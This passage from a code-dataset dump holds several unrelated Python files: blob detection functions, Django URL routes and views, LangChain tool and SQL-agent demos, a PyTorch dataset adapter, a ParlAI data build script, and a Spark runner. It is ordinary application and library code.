array with each row representing 3 values, ``(y,x,sigma)``\n where ``(y,x)`` are coordinates of the blob and ``sigma`` is the\n standard deviation of the Gaussian kernel which detected the blob.\n\n References\n ----------\n .. [1] http://en.wikipedia.org/wiki/Blob_detection#The_Laplacian_of_Gaussian\n\n Examples\n --------\n >>> from skimage import data, feature, exposure\n >>> img = data.coins()\n >>> img = exposure.equalize_hist(img) # improves detection\n >>> feature.blob_log(img, threshold = .3)\n array([[ 266. , 115. , 11.88888889],\n [ 263. , 302. , 17.33333333],\n [ 263. , 244. , 17.33333333],\n [ 260. , 174. , 17.33333333],\n [ 198. , 155. , 11.88888889],\n [ 198. , 103. , 11.88888889],\n [ 197. , 44. , 11.88888889],\n [ 194. , 276. , 17.33333333],\n [ 194. , 213. , 17.33333333],\n [ 185. , 344. , 17.33333333],\n [ 128. , 154. , 11.88888889],\n [ 127. , 102. , 11.88888889],\n [ 126. , 208. , 11.88888889],\n [ 126. , 46. , 11.88888889],\n [ 124. , 336. , 11.88888889],\n [ 121. , 272. , 17.33333333],\n [ 113. , 323. , 1. ]])\n\n Notes\n -----\n The radius of each blob is approximately :math:`\\sqrt{2}sigma`.\n \"\"\"\n\n assert_nD(image, 2)\n\n image = img_as_float(image)\n\n if log_scale:\n start, stop = log(min_sigma, 10), log(max_sigma, 10)\n sigma_list = np.logspace(start, stop, num_sigma)\n else:\n sigma_list = np.linspace(min_sigma, max_sigma, num_sigma)\n\n # computing gaussian laplace\n # s**2 provides scale invariance\n gl_images = [-gaussian_laplace(image, s) * s ** 2 for s in sigma_list]\n image_cube = np.dstack(gl_images)\n\n local_maxima = peak_local_max(image_cube, threshold_abs=threshold,\n footprint=np.ones((3, 3, 3)),\n threshold_rel=0.0,\n exclude_border=False)\n\n # Catch no peaks\n if local_maxima.size == 0:\n return np.empty((0,3))\n\n probs = []\n for blob in local_maxima:\n probs.append(image_cube[blob[0], blob[1], blob[2]])\n\n # Convert local_maxima to float64\n lm = local_maxima.astype(np.float64)\n # Convert the last index to its corresponding scale value\n lm[:, 2] = sigma_list[local_maxima[:, 2]]\n local_maxima = lm\n\n return _prune_blobs(local_maxima, probs, overlap)\n\ndef blob_doh(image, min_sigma=1, max_sigma=30, num_sigma=10, threshold=0.01,\n overlap=.5, log_scale=False):\n \"\"\"Finds blobs in the given grayscale image.\n\n Blobs are found using the Determinant of Hessian method [1]_. For each blob\n found, the method returns its coordinates and the standard deviation\n of the Gaussian Kernel used for the Hessian matrix whose determinant\n detected the blob. Determinant of Hessians is approximated using [2]_.\n\n Parameters\n ----------\n image : ndarray\n Input grayscale image.Blobs can either be light on dark or vice versa.\n min_sigma : float, optional\n The minimum standard deviation for Gaussian Kernel used to compute\n Hessian matrix. Keep this low to detect smaller blobs.\n max_sigma : float, optional\n The maximum standard deviation for Gaussian Kernel used to compute\n Hessian matrix. Keep this high to detect larger blobs.\n num_sigma : int, optional\n The number of intermediate values of standard deviations to consider\n between `min_sigma` and `max_sigma`.\n threshold : float, optional.\n The absolute lower bound for scale space maxima. Local maxima smaller\n than thresh are ignored. Reduce this to detect less prominent blobs.\n overlap : float, optional\n A value between 0 and 1. If the area of two blobs overlaps by a\n fraction greater than `threshold`, the smaller blob is eliminated.\n log_scale : bool, optional\n If set intermediate values of standard deviations are interpolated\n using a logarithmic scale to the base `10`. If not, linear\n interpolation is used.\n\n Returns\n -------\n A : (n, 3) ndarray\n A 2d array with each row representing 3 values, ``(y,x,sigma)``\n where ``(y,x)`` are coordinates of the blob and ``sigma`` is the\n standard deviation of the Gaussian kernel of the Hessian Matrix whose\n determinant detected the blob.\n\n References\n ----------\n .. [1] http://en.wikipedia.org/wiki/Blob_detection#The_determinant_of_the_Hessian\n\n .. [2] Herbert Bay, Andreas Ess, Tinne Tuytelaars, Luc Van Gool,\n \"SURF: Speeded Up Robust Features\"\n ftp://ftp.vision.ee.ethz.ch/publications/articles/eth_biwi_00517.pdf\n\n Examples\n --------\n >>> from skimage import data, feature\n >>> img = data.coins()\n >>> feature.blob_doh(img)\n array([[ 270. , 363. , 30. ],\n [ 265. , 113. , 23.55555556],\n [ 262. , 243. , 23.55555556],\n [ 260. , 173. , 30. ],\n [ 197. , 153. , 20.33333333],\n [ 197. , 44. , 20.33333333],\n [ 195. , 100. , 23.55555556],\n [ 193. , 275. , 23.55555556],\n [ 192. , 212. , 23.55555556],\n [ 185. , 348. , 30. ],\n [ 156. , 302. , 30. ],\n [ 126. , 153. , 20.33333333],\n [ 126. , 101. , 20.33333333],\n [ 124. , 336. , 20.33333333],\n [ 123. , 205. , 20.33333333],\n [ 123. , 44. , 23.55555556],\n [ 121. , 271. , 30. ]])\n\n Notes\n -----\n The radius of each blob is approximately `sigma`.\n Computation of Determinant of Hessians is independent of the standard\n deviation. Therefore detecting larger blobs won't take more time. In\n methods line :py:meth:`blob_dog` and :py:meth:`blob_log` the computation\n of Gaussians for larger `sigma` takes more time. The downside is that\n this method can't be used for detecting blobs of radius less than `3px`\n due to the box filters used in the approximation of Hessian Determinant.\n \"\"\"\n\n assert_nD(image, 2)\n\n image = img_as_float(image)\n image = integral_image(image)\n\n if log_scale:\n start, stop = log(min_sigma, 10), log(max_sigma, 10)\n sigma_list = np.logspace(start, stop, num_sigma)\n else:\n sigma_list = np.linspace(min_sigma, max_sigma, num_sigma)\n\n hessian_images = [_hessian_matrix_det(image, s) for s in sigma_list]\n image_cube = np.dstack(hessian_images)\n\n local_maxima = peak_local_max(image_cube, threshold_abs=threshold,\n footprint=np.ones((3, 3, 3)),\n threshold_rel=0.0,\n exclude_border=False)\n\n # Catch no peaks\n if local_maxima.size == 0:\n return np.empty((0,3))\n\n # Convert local_maxima to float64\n probs = []\n for blob in local_maxima:\n probs.append(image_cube[blob[0], blob[1], blob[2]])\n\n lm = local_maxima.astype(np.float64)\n # Convert the last index to its corresponding scale value\n lm[:, 2] = sigma_list[local_maxima[:, 2]]\n local_maxima = lm\n\n return _prune_blobs(local_maxima, probs, overlap)\n","repo_name":"jmendozais/lung-nodule-detection","sub_path":"blob.py","file_name":"blob.py","file_ext":"py","file_size_in_byte":17503,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"36"} +{"seq_id":"4500451576","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [ \n path('', views.VideoContents.as_view(), name='video-list'),\n path('/', views.SpecificVideoContent.as_view(), name='play-video'),\n path('video-history/', views.UserVideoHistory.as_view(), name='user-video-history'),\n path('delete-all-video-history/', views.RemoveUserVideoHistory.as_view(), name='remove-user-video-history'),\n path('remove-specifi-video-history//', views.RemoveUserSpecificVideoHistory.as_view(), name='remove-user-specific-video-history'),\n path('channel-subscribe//', views.ChannelSubscribeOrUnsubscribe.as_view(), name='channel-un-subscribe'),\n path('like-or-remove-like-video/', views.VideoLikeOrRemoveLike.as_view(), name='video-like-or-remove-like'),\n path('add-or-remove-watch-later/', views.AddOrRemoveWatchLater.as_view(), name='add-to-watch-later'),\n path('library-videos/', views.LibaryVideoList.as_view(), name='library-videos'),\n path('remove-libary-video-list/', views.RemoveLibaryVideoList.as_view(), name='remove-libary-video-list'),\n]","repo_name":"pd28CSE/YouTube-Clone","sub_path":"contents/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"74659899623","text":"from django.urls import path,include\nfrom .import views\n\nurlpatterns = [\n path('addtocartdefaultapp/',views.add_to_cart_default_app,name='add_to_cart_default_app'),\n # path('masterclassorderapp/',views.masterclassorderapp,name='masterclassorderapp'),\n path('orderpostapp/',views.orderpostapp,name='orderpostapp'),\n path('commentorderapp/',views.commentorderapp,name='commentorderapp'),\n path('getuserphone/',views.get_user_phone,name='getuserphone'),\n path('getuserorderactive/',views.get_user_order_active,name='get_user_order_active'),\n path('confirmpromocodeapp/',views.confirmpromocode_app,name='confirmpromocode_app'),\n path('gettotalcart/',views.get_total_cart,name='get_total_cart'),\n path('getloggin/',views.get_loggin,name='get_loggined'),\n \n path('checkloggined/',views.check_loggined,name='get_loggined'),\n path('checklogginedcart/',views.check_loggined_cart,name='get_loggined'),\n\n\n path('sendcode/',views.send_code_app,name='sendcode'),\n path('registeruser/',views.register_user,name='registeruser'),\n path('checkuser/',views.check_user,name='checkuser'),\n path('logout/',views.logout,name='logout'),\n path('promocodetocart/',views.promocode_to_cart,name='promocode_to_cart'),\n path('checkpromocade/',views.checkpromocade,name='checkpromocade'),\n path('checkaddressin/',views.check_address_in,name='check_address_in'),\n path('checkaddressanswer/',views.check_address_answer,name='check_address_answer'),\n # path('cart/',views.cart,name='cart'),\n path('saveaddress/',views.saveaddress,name='saveaddress'),\n path('addtocartapp/',views.add_to_cart_product_app,name='add_to_cart_product_app'),\n path('delfromcartapp/',views.del_from_cart_app,name='del_from_cart_app'),\n path('delfromcartdefaultapp/',views.del_from_cart_default_app,name='del_from_cart_default_app'),\n path('changeitemcartapp/',views.change_item_cart_app,name='change_item_cart_app'),\n path('changeitemcartdefaultapp/',views.change_item_cart_default_app,name='change_item_cart_default_app'),\n # path('loginsend/',views.login_number,name='login_number'),\n # path('loginuser/',views.login_user,name='login_user'),\n path('confirmpromocode/',views.confirmpromocode_app,name='confirmpromocode'),\n path('cartproducts/', views.cart_products,name='cart_products'),\n path('getpolicy/',views.getpolicy,name='getpolicy'),\n path('getabout/',views.getabout,name='getabout'),\n\n path('savename/',views.savename,name='savename'),\n path('saveemail/',views.saveemail,name='saveemail'),\n path('savebirthday/',views.savebirthday,name='savebirthday'),\n path('savepush/',views.savepush,name='savepush'),\n\n path('pickupchange/',views.pickup_change,name='pickup_change'),\n path('deliverychoise/',views.delivery_choise,name='delivery_choise'),\n path('pickupchoice/',views.pickup_choice,name='pickup_choice'),\n \n path('createorderpickup/',views.createorderpickup,name='createorderpickup'),\n\n]","repo_name":"George-c0de/yarndjango","sub_path":"yarn/main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"10556451196","text":"import json\nfrom langchain.tools import tool\nfrom langchain.schema import (\n HumanMessage,\n SystemMessage\n)\nfrom llm.llm_openai import chat_openai\n\n\ndef format_few_shots(few_shots):\n formatted = \"\"\n for item in few_shots:\n formatted += f'\\ninput:\"{item[\"input\"]}\", output is:\"{json.dumps(item[\"output\"])}\"\\n'\n return formatted\n\n\n@tool('input_parse')\ndef tool_input_parse(prompt, few_shots) -> str:\n \"Parse user input to get all the key words that is nessasary to be used by a specific tool\"\n\n messages = [\n SystemMessage(content=f\"You are a helpful JSON formatter. Here are some few_shots on how to format a json output:{format_few_shots(few_shots)} Only output the JSON formatted response. If you cannot extract value from the user input, use \\\"\\\" to set the value instead.\"),\n HumanMessage(content=f'input: \"{prompt}\", output is:')\n ]\n return json.loads(chat_openai(messages).content), '', ''\n","repo_name":"zealchen/AssistantBot","sub_path":"tools/input_parse_tool.py","file_name":"input_parse_tool.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"17581969992","text":"import typing as t\nimport collections\n\nfrom torch.utils.data import IterableDataset\n\nimport starwhale.base.data_type as sw_type\nfrom starwhale.api._impl.dataset import Dataset\n\n__all__ = [\"TorchIterableDataset\", \"default_transform\"]\n\n\ndef _dummy_transform(data: t.Any) -> t.Any:\n return data\n\n\ndef default_transform(data: t.Any) -> t.Any:\n data_type = type(data)\n if isinstance(\n data,\n (sw_type.Audio, sw_type.Image, sw_type.GrayscaleImage, sw_type.BoundingBox),\n ):\n return data.to_tensor()\n elif isinstance(data, (sw_type.Binary, sw_type.Video)):\n return data.to_bytes()\n elif isinstance(data, sw_type.Text):\n return data.to_str()\n elif isinstance(data, collections.abc.Mapping): # type: ignore\n try:\n return data_type({k: default_transform(v) for k, v in data.items()})\n except TypeError:\n # The mapping type may not support __init__(iterable)\n return {k: default_transform(v) for k, v in data.items()}\n elif isinstance(data, collections.abc.Sequence): # type: ignore\n if isinstance(data, (str, bytes)):\n return data\n else:\n try:\n return data_type([default_transform(d) for d in data])\n except TypeError:\n # The sequence type may not support __init__(iterable), (e.g.: range)\n return [default_transform(d) for d in data]\n else:\n return data\n\n\nclass TorchIterableDataset(IterableDataset):\n def __init__(\n self,\n dataset: Dataset,\n transform: t.Optional[t.Callable] = None,\n drop_index: bool = True,\n skip_default_transform: bool = False,\n ) -> None:\n super().__init__()\n self.dataset = dataset\n if transform is not None:\n self.transform = transform\n else:\n self.transform = (\n _dummy_transform if skip_default_transform else default_transform\n )\n\n self.drop_index = drop_index\n\n def __iter__(self) -> t.Iterator:\n _t = self.transform\n for row in self.dataset:\n if self.drop_index:\n yield _t(row.features)\n else:\n yield _t(row.index), _t(row.features)\n\n def __len__(self) -> int:\n return len(self.dataset)\n\n def __str__(self) -> str:\n return f\"TorchIterableDataset from Starwhale Dataset: {self.dataset}, drop_index:{self.drop_index}, transform: {self.transform}\"\n\n __repr__ = __str__\n","repo_name":"star-whale/starwhale","sub_path":"client/starwhale/integrations/pytorch/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":2513,"program_lang":"python","lang":"en","doc_type":"code","stars":171,"dataset":"github-code","pt":"36"} +{"seq_id":"74050192424","text":"import os\nimport json\nfrom parlai.core.build_data import DownloadableFile\nfrom parlai.utils.io import PathManager\nimport parlai.core.build_data as build_data\n\nRESOURCES = [\n DownloadableFile(\n 'http://lnsigo.mipt.ru/export/datasets/convai/convai2_wild_evaluation_0.2.tgz',\n 'convai2_wild_evaluation_0.2.tgz',\n 'd40ff70275c8d1939a8081707edcf4e71072097d18b9998100a1099d23e29801',\n )\n]\n\n\ndef make_parlai_format(data: list, dpath: str):\n train_p = 0.6\n valid_p = 0.2\n test_p = 1 - (train_p + valid_p)\n\n assert train_p > 0\n assert valid_p > 0\n assert test_p > 0\n\n data_len = len(data)\n\n first_valid = int(data_len * train_p)\n first_test = int(data_len * (train_p + valid_p))\n\n data_train = data[:first_valid]\n data_valid = data[first_valid:first_test]\n data_test = data[first_test:]\n\n data_train_txt = '\\n'.join(data_train)\n data_valid_txt = '\\n'.join(data_valid)\n data_test_txt = '\\n'.join(data_test)\n\n path_train = os.path.join(dpath, 'train.txt')\n path_valid = os.path.join(dpath, 'valid.txt')\n path_test = os.path.join(dpath, 'test.txt')\n\n with PathManager.open(path_train, 'w') as f_train:\n f_train.write(data_train_txt)\n\n with PathManager.open(path_valid, 'w') as f_valid:\n f_valid.write(data_valid_txt)\n\n with PathManager.open(path_test, 'w') as f_test:\n f_test.write(data_test_txt)\n\n\ndef build(opt):\n version = '0.2'\n dpath = os.path.join(opt['datapath'], 'ConvAI2_wild_evaluation')\n\n if not build_data.built(dpath, version):\n print('[building data: ' + dpath + ']')\n\n if build_data.built(dpath):\n # An older version exists, so remove these outdated files.\n build_data.remove_dir(dpath)\n build_data.make_dir(dpath)\n\n # Download the data.\n for downloadable_file in RESOURCES:\n downloadable_file.download_file(dpath)\n\n output_fname = 'convai2_wild_evaluation.json'\n output_path = os.path.join(dpath, output_fname)\n\n with PathManager.open(output_path, 'r') as data_f:\n data = json.load(data_f)\n\n make_parlai_format(data, dpath)\n PathManager.rm(output_path)\n\n # Mark the data as built.\n build_data.mark_done(dpath, version)\n","repo_name":"facebookresearch/ParlAI","sub_path":"parlai/tasks/convai2_wild_evaluation/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":2271,"program_lang":"python","lang":"en","doc_type":"code","stars":10365,"dataset":"github-code","pt":"36"} +{"seq_id":"17481019673","text":"from django.shortcuts import render\nfrom django.http import JsonResponse\nimport simplejson\nfrom prototype.models import Questionnaire,User\nfrom prototype.base_option import get_questionnaire,questionnaire_create,delete_questionnaire,des_decrypt,des_encrypt\n\n# Create your views here.\ndef create_or_copy(r):\n que = r['que']\n qnid = que['qnId']\n user = User.objects.get(name=r['userName'])\n que['user'] = user\n\n if qnid != '0':\n delete_questionnaire({'qnid': des_decrypt(qnid)})\n quen = questionnaire_create(que)\n qnid = des_encrypt(quen.id)\n return qnid\n\ndef saveQn(request):\n if request.method == 'POST':\n r = simplejson.loads(request.body)\n print(\"*********************************r*************************************\")\n print(r)\n qnid = create_or_copy(r)\n return JsonResponse({'qnid': qnid})\n\ndef copy(request):\n if request.method == 'POST':\n r = simplejson.loads(request.body)\n print(r)\n qnid = des_decrypt(r['qnid'])\n quen = get_questionnaire(qnid)\n\n dict_r = {}\n dict_r['qnId'] = '0'\n quen_ins = Questionnaire.objects.get(pk=des_decrypt(quen['qnid']))\n dict_r['userName'] = quen_ins.USER.name\n\n que = {}\n que['title'] = quen['title']\n que['QList'] = quen['QList']\n que['endTime'] = quen['endTime']\n que['qnType'] = quen['qnType']\n que['showNumbers'] = quen_ins.showNumbers\n que['qnId'] = '0'\n dict_r['que'] = que\n\n print(dict_r)\n qnid= create_or_copy(dict_r)\n quen_copy = Questionnaire.objects.get(pk=des_decrypt(qnid))\n t = quen_copy.title\n quen_copy.title = t+'_copy'\n quen_copy.save()\n return JsonResponse({'qnid': qnid})","repo_name":"AnonymousCodeGods/2021_Summer_Project","sub_path":"backend/createQn/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1760,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"36"} +{"seq_id":"74126818985","text":"def num_check(question, low):\r\n valid = False\r\n while not valid:\r\n\r\n error = \"Please enter an integer that is more than (or equal to) {}\".format(low)\r\n\r\n try:\r\n\r\n response = int(input(question))\r\n\r\n if response >= low:\r\n return response\r\n\r\n else:\r\n print(error)\r\n print() \r\n \r\n except ValueError:\r\n print(error)\r\n\r\n\r\ndef image_bits():\r\n\r\n image_width = num_check(\"Image width? \", 1)\r\n image_height = num_check(\"Image height? \", 1)\r\n \r\n num_pixels = image_width * image_height\r\n\r\n num_bits = num_pixels * 24\r\n\r\n print()\r\n print(\"# of pixels = {} x {} = {}\".format(image_height, image_width, num_pixels))\r\n\r\n print(\"# of bits = {} x 24 = {}\".format(num_pixels, num_bits))\r\n print()\r\n\r\n return \"\"\r\n\r\nimage_bits() ","repo_name":"AlexBarbash0118/04_bit_calc","sub_path":"05_image_bits.py","file_name":"05_image_bits.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"5305697792","text":"#!/usr/bin/python3\nimport re\n\n# Raw API response containing news headlines\nraw_data = \"\"\"Here are some news headlines:\n Headline: Breaking News - The outbreak of Covid-19\n Headline: New Updates - The creation of new AI\n Headline: Sports News - Match Results\n \"\"\"\n\npattern = r'Headline: (.*?) - (.*?)'\nmatches = re.finditer(pattern, raw_data)\nstructured_headlines = []\n\nfor match in matches:\n headline = match.group(1)\n subheader = match.group(2)\n structured_headlines.append({\"Headline\": headline, \"Subheader\": subheader})\n\n\nfor item in structured_headlines:\n print(item) ","repo_name":"lilika67/alu_regex-data-extraction-group18","sub_path":"news_headlines.py","file_name":"news_headlines.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"38093023623","text":"import logging\nimport typing\n\nimport pyspark\n\nfrom forml import flow, runtime\n\nif typing.TYPE_CHECKING:\n from forml import io\n from forml.io import asset\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass Runner(runtime.Runner, alias='spark'):\n \"\"\"ForML runner utilizing :doc:`Apache Spark ` as a distributed executor.\n\n Args:\n kwargs: Any `Spark Configuration options\n `_.\n\n The provider can be enabled using the following :ref:`platform configuration `:\n\n .. code-block:: toml\n :caption: config.toml\n\n [RUNNER.compute]\n provider = \"spark\"\n \"spark.driver.cores\" = 1\n \"spark.driver.memory\" = \"1g\"\n \"spark.executor.cores\" = 2\n \"spark.executor.memory\" = \"1g\"\n \"spark.executor.pyspark.memory\" = \"1g\"\n\n Important:\n Select the ``spark`` :ref:`extras to install ` ForML together with the Spark\n support.\n\n Note:\n ForML uses Spark purely as an *executor* without any deeper integration with its robust data\n management API.\n \"\"\"\n\n DEFAULTS = {'spark.app.name': 'ForML'}\n\n def __init__(\n self,\n instance: typing.Optional['asset.Instance'] = None,\n feed: typing.Optional['io.Feed'] = None,\n sink: typing.Optional['io.Sink'] = None,\n **kwargs,\n ):\n super().__init__(instance, feed, sink)\n self._config: pyspark.SparkConf = pyspark.SparkConf().setAll((self.DEFAULTS | kwargs).items())\n self._context: typing.Optional[pyspark.SparkContext] = None\n\n def start(self) -> None:\n self._context = pyspark.SparkContext.getOrCreate(self._config)\n\n def close(self) -> None:\n self._context.stop()\n # pylint: disable=protected-access\n self._context._gateway.shutdown()\n self._context._gateway.proc.kill()\n pyspark.SparkContext._jvm = None\n pyspark.SparkContext._active_spark_context = None\n pyspark.SparkContext._gateway = None\n self._context = None\n\n @staticmethod\n def _submit(spark: pyspark.SparkContext, symbols: typing.Collection[flow.Symbol]) -> typing.Iterable[pyspark.RDD]:\n \"\"\"Build and submit the task graph in Spark representation.\n\n Args:\n symbols: Internal DAG representation in form of the compiled symbols.\n\n Returns:\n Leaf nodes of the constructed DAG.\n \"\"\"\n\n def apply(instruction: flow.Instruction, *args: pyspark.RDD) -> pyspark.RDD:\n \"\"\"Perform the instruction using the given RDDs as arguments.\n\n Args:\n instruction: Flow instruction to be performed.\n *args: RDDs to be used as arguments.\n\n Returns:\n Result in form of a RDD.\n \"\"\"\n if not args:\n return spark.parallelize([instruction()])\n if len(args) == 1:\n return args[0].map(instruction)\n return spark.parallelize([instruction(*(a.collect()[0] for a in args))])\n\n def link(leaf: flow.Instruction) -> pyspark.RDD:\n \"\"\"Recursive linking the given leaf to its upstream branch.\n\n Args:\n leaf: The leaf node to be linked upstream.\n\n Returns:\n The leaf node linked to its upstream branch.\n \"\"\"\n if leaf not in nodes:\n nodes[leaf] = apply(leaf, *(link(a) for a in arguments.get(leaf, [])))\n else:\n nodes[leaf].cache()\n return nodes[leaf]\n\n arguments: typing.Mapping[flow.Instruction, typing.Sequence[flow.Instruction]] = dict(symbols)\n assert len(arguments) == len(symbols), 'Duplicated symbols in DAG sequence'\n leaves = set(arguments).difference(p for a in arguments.values() for p in a)\n assert leaves, 'Not acyclic'\n nodes: dict[flow.Instruction, pyspark.RDD] = {}\n return (link(d) for d in leaves)\n\n @classmethod\n def run(cls, symbols: typing.Collection[flow.Symbol], **kwargs) -> None:\n for result in cls._submit(pyspark.SparkContext.getOrCreate(), symbols):\n result.collect()\n","repo_name":"formlio/forml","sub_path":"forml/provider/runner/spark.py","file_name":"spark.py","file_ext":"py","file_size_in_byte":4218,"program_lang":"python","lang":"en","doc_type":"code","stars":103,"dataset":"github-code","pt":"36"} +{"seq_id":"27229985963","text":"import math\n\na = 1\nb = 1\nc = 1\n\ndelta = (b*b)-(4*a*c)\n\nif delta<0:\n\tprint(\"Delta negativo\")\n\t\nelse:\n\tdelta = math.sqrt\n\nx1 = (-b + delta)/2*a\nx2 = (-b + delta)/2*a\n\nprint(x1)\nprint(x2)\n","repo_name":"lauradacol/Programming1","sub_path":"AlunoDisciplinas/bhaskara.py","file_name":"bhaskara.py","file_ext":"py","file_size_in_byte":185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"32458234831","text":"import os\nfrom datetime import datetime\nfrom dotenv import load_dotenv\nfrom sqlalchemy import Integer\nfrom sqlalchemy import String\nfrom sqlalchemy import Float\nfrom sqlalchemy import Date\nfrom sqlalchemy import ForeignKey\nfrom sqlalchemy import create_engine\nfrom sqlalchemy import insert\nfrom sqlalchemy import MetaData\nfrom sqlalchemy import Table\nfrom sqlalchemy import Column\nfrom sqlalchemy.schema import CreateTable\n\nfrom langchain.llms import OpenAI\nfrom langchain.agents import Tool\nfrom langchain.agents import load_tools\nfrom langchain.agents import initialize_agent\nfrom langchain.chains import SQLDatabaseChain\nfrom langchain.sql_database import SQLDatabase\nfrom langchain.prompts.prompt import PromptTemplate\nfrom langchain.memory import ConversationBufferMemory\n\n\nengine = create_engine(\"postgresql://localhost/salesDB\")\nmetadata_obj = MetaData()\n# engine = create_engine(\"sqlite:///:memory:\", echo=True) # Create a in memory SQLlite database engine\nload_dotenv() # Load environment variables from .env file\n\ndef initialise_llm():\n \"\"\"\n Initialize the LLM with the OpenAI API key and the model name, here we are using the davinci model\n \"\"\"\n llm = OpenAI(\n model_name='text-davinci-003',\n openai_api_key=os.environ.get(\"OPENAI_API_KEY\"),\n temperature=0\n )\n\n return llm\n\n\ndef initialise_db_chain(llm, verbose_flag=False):\n \"\"\"\n Initialize the database chain for tables\n \"\"\"\n metadata_obj.reflect(bind=engine)\n metadata_obj.drop_all(bind=engine)\n\n stocks = Table(\n \"stocks\",\n metadata_obj,\n Column(\"obs_id\", Integer, primary_key=True),\n Column(\"stock_ticker\", String(4), nullable=False),\n Column(\"price\", Float, nullable=False),\n Column(\"date\", Date, nullable=False),\n extend_existing=True,\n )\n\n company = Table(\n \"company\",\n metadata_obj,\n Column(\"company_id\", Integer, primary_key=True),\n Column(\"company_name\", String(16), nullable=False),\n Column(\"stock_ticker\", String(4), nullable=False),\n extend_existing=True,\n )\n\n sales = Table(\n \"sales\",\n metadata_obj,\n Column(\"sales_id\", Integer, primary_key=True),\n Column(\"company_id\", Integer, ForeignKey(\"company.company_id\"), nullable=False),\n Column(\"date\", Date, nullable=False),\n Column(\"sales\", Float, nullable=False),\n extend_existing=True,\n )\n\n metadata_obj.create_all(engine)\n\n stock_observations = [\n [1, 'ABC', 200, datetime(2023,1,1)], \n [2, 'ABC', 202, datetime(2023,1,2)], \n [3, 'ABC', 210, datetime(2023,1,3)],\n [4, 'ABC', 200, datetime(2023,1,4)], \n [5, 'ABC', 202, datetime(2023,1,5)], \n [6, 'XYZ', 210, datetime(2023,1,1)],\n [7, 'XYZ', 200, datetime(2023,1,2)], \n [8, 'XYZ', 202, datetime(2023,1,3)], \n [9, 'XYZ', 210, datetime(2023,1,4)],\n [10, 'XYZ', 200, datetime(2023,1,5)], \n ]\n\n company_observations = [\n [1, 'ABC Corp', 'ABC'],\n [2, 'XYZ Corp', 'XYZ']\n ]\n\n sales_observations = [\n [1, 1, datetime(2023,1,1), 100],\n [2, 1, datetime(2023,1,2), 105],\n [3, 1, datetime(2023,1,3), 90],\n [4, 1, datetime(2023,1,4), 99],\n [5, 1, datetime(2023,1,5), 100],\n [6, 2, datetime(2023,1,1), 100],\n [7, 2, datetime(2023,1,2), 102],\n [8, 2, datetime(2023,1,3), 110],\n [9, 2, datetime(2023,1,4), 109],\n [10, 2, datetime(2023,1,5), 105],\n ]\n\n def insert_stock_obs(obs):\n stmt = insert(stocks).values(\n obs_id=obs[0],\n stock_ticker=obs[1],\n price=obs[2],\n date=obs[3]\n )\n with engine.begin() as conn:\n conn.execute(stmt)\n\n def insert_company_obs(obs):\n stmt = insert(company).values(\n company_id=obs[0],\n company_name=obs[1],\n stock_ticker=obs[2],\n )\n with engine.begin() as conn:\n conn.execute(stmt)\n\n def insert_sales_obs(obs):\n stmt = insert(sales).values(\n sales_id=obs[0],\n company_id=obs[1],\n date=obs[2],\n sales=obs[3]\n )\n with engine.begin() as conn:\n conn.execute(stmt)\n\n for obs in stock_observations:\n insert_stock_obs(obs)\n\n for obs in company_observations:\n insert_company_obs(obs)\n\n for obs in sales_observations:\n insert_sales_obs(obs)\n\n _DEFAULT_TEMPLATE = \"\"\"Given an input question, first create a syntactically correct {dialect} query to run, then look at the results of the query and return the answer.\n Use the following format:\n\n Question: \"Question here\"\n SQLQuery: \"SQL Query to run\"\n SQLResult: \"Result of the SQLQuery\"\n Answer: \"SQLQuery here if the user asked to generate query otherwise SQLResult\"\n\n Only use the following tables:\n\n {table_info}\n\n Question: {input}\"\"\"\n PROMPT = PromptTemplate(\n input_variables=[\"input\", \"table_info\", \"dialect\"], template=_DEFAULT_TEMPLATE\n )\n\n db = SQLDatabase(engine=engine)\n\n sql_chain = SQLDatabaseChain(llm=llm, \n database=db, \n prompt=PROMPT,\n verbose=verbose_flag, \n use_query_checker=True)\n return sql_chain\n\ndef initialise_tools(llm, sql_chain):\n \"\"\"\n Initialize the tools for the agent\n\n Parameters\n ----------\n llm : LLM object\n sql_chain : SQLDatabaseChain object\n\n Returns\n -------\n tools : Tool object\n The Tools set that is used by LLM to interact with the database\n \"\"\"\n\n tools = load_tools(\n [\"llm-math\"],\n llm=llm\n )\n\n stock_tool = Tool(\n name='StockTable',\n func=sql_chain.run,\n description=\"Useful for when you need to answer questions about stocks and their prices.\"\n )\n\n company_tool = Tool(\n name='CompanyTable',\n func=sql_chain.run,\n description=\"Useful for when you need to answer questions about company.\"\n )\n \n sales_tool = Tool(\n name='SalesTable',\n func=sql_chain.run,\n description=\"Useful for when you need to answer questions about sales.\"\n )\n\n tools.append(stock_tool)\n tools.append(company_tool)\n tools.append(sales_tool)\n\n return tools\n\n\ndef initialise_zeroshot_agent(llm, tools, verbose_flag=False):\n \"\"\"\n Initialize the zeroshot agent with the LLM and the SQL chain\n\n Parameters\n ----------\n llm : LLM object\n tools : Tool object\n The Tools set that is used by LLM to interact with the database\n verbose_flag : bool, optional\n The flag to indicate whether to print the output or not, by default False\n\n Returns\n -------\n Agent object\n \"\"\"\n agent = initialize_agent(\n agent=\"zero-shot-react-description\",\n llm=llm,\n tools=tools,\n verbose=verbose_flag,\n max_iterations=3\n )\n\n return agent\n\ndef initialise_conversational_agent(llm, tools, verbose_flag=False):\n \"\"\"\n Initialize the conversational agent with the LLM and the SQL chain\n\n Parameters\n ----------\n llm : LLM object\n tools : 